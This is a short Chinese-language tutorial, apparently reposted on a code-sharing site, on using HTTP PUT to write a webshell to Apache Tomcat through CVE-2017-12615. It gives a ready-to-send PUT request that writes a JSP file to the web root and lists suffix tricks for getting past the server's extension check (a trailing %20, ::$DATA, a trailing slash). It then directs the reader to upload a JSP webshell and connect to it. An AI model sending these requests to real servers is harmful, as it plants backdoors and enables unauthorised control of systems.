PUT方法寫shell


前言:

PUT是http的一個請求方法

PUT的前提,是了解HTTP協議。下面給出HTTP - PUT的一個模板:

PUT /test.txt HTTP/1.1
Accept: */*
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)
Host: test.com:8080

hello world

發送請求后,訪問.../text.txt將輸出hello world

要注意如下幾個點:

① PUT方法是HTTP 1.1協議中才出現的。

② HTTP協議對空格敏感,每行數據的結尾不能出現空格

③ HTTP頭部和數據中間要空一行,即HTTP頭部是以\r\n\r\n結尾的。

④ 端口號直接跟在HOST后面

Tomcat PUT方法任意寫文件漏洞(CVE-2017-12615)

影響版本:

Tomcat版本:8.5.19
Apache Tomcat 7.0.0 - 7.0.79

直接發送以下數據包即可在Web根目錄寫入shell:

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

shell那兒直接寫入jsp的馬,或者其他語言對應寫對應的馬,請求頭參數可適當的根據實際情況改動。

雖然Tomcat對文件后綴有一定檢測(不能直接寫jsp),但我們使用一些文件系統的特性(如Linux下可用/)來繞過了限制:

shell.jsp%20
shell.jsp::$DATA
shell.jsp/

返回響應包的狀態碼為201說明寫入成功。

然后根目錄跟上寫入的.jsp文件即可訪問。之后連馬。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM